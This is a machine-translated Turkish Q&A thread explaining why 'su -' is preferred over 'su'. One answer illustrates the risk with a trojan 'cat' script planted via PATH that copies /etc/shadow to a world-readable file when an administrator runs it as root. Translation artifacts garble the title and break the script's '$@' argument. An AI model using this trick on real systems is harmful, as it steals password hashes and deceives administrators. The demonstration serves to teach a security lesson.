it-swarm-tr.com

Neden sadece su değil su kullanıyoruz?

Nedenini anlamıyorum su - kök olarak oturum açmak için su yerine tercih edilir.

187
Dharmit

su - kullanıcıyı değiştirdikten sonra bir oturum açma Kabuğu çağırır. Oturum açma Kabuğu, temiz bir temel sağlayarak çoğu ortam değişkenini sıfırlar.

su kullanıcıyı değiştirir ve eski kullanıcıyla neredeyse aynı bir ortama sahip normal bir Kabuk sağlar.

Bir makineye normal kullanıcı erişimi olan bir yazılım geliştiricisi olduğunuzu ve cahil yöneticinizin size root erişimi vermeyeceğini düşünün. Hadi onu (umarım) kandıralım.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Şimdi, yöneticinize neden ana klasörünüzdeki kukla dosyayı cat yapamayacağınızı sorun, işe yaramaz!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Yöneticiniz o kadar akıllı veya biraz tembel değilse, masanıza gelip süper kullanıcı güçlerini deneyebilir:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Vaov! Teşekkürler, süper yönetici!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

O, o.

Belki bozuk $PATH değişkeni sıfırlanmadı. Yönetici su - yerine.

251
wag

su - Tamamen kök olarak oturum açarken, su bunu kök gibi yapıyormuş gibi yapar.

Bunun en açık örneği, ~ Kök dizininin su - Kullanıyorsanız kök dizinidir, ancak su kullanıyorsanız kendi dizininizdir.

Sisteminize bağlı olarak, Sor, PATH veya geçmiş dosyasındaki farklılıklar da olabilir.

Dolayısıyla, bir sistemi yöneten bir ekibin parçasıysanız ve iş arkadaşınız size bir komut vermenizi sağlarsa, ikisini de su - Kullanıyorsanız, ancak ikisini de su, farklı Shell yapılandırmalarına sahip olmanız nedeniyle farklılıklar olabilir.

Öte yandan, bir komutu root olarak çalıştırmak, ancak kendi yapılandırmanızı kullanmak istiyorsanız, belki su sizin için daha iyidir.

Ayrıca kök olarak çalışan bir Kabuk başlatmak için -s Seçeneğine sahip olan Sudo'ı da unutmayın. Tabii ki, bunun da farklı kuralları vardır ve kullandığınız dağılıma bağlı olarak değişir.

37
Mikel

Temel fark:

su - username, Shell ortamını belirtilen kullanıcı olarak temiz bir girişmiş gibi kurar, belirtilen kullanıcı ortam değişkenlerine erişir ve kullanır,

su username Belirtilen kullanıcı için geçerli ortam ayarlarının bulunduğu bir Kabuk başlattı.

su ve su - İle kullanıcı adı belirtilmezse, kök hesap varsayılan olarak ima edilir.

2
Akhil MK

Su kullanıyorum - normal kullanıcı olarak bir dizindeyken, root'a geçmek ve geçişten sonra aynı dizinde kalmak istiyorum. Su kullandığınızda kullanıcıyı kök dizinine geçirir ve sizi kök giriş dizini olan/root dizinine götürür.

1
Calvin Dike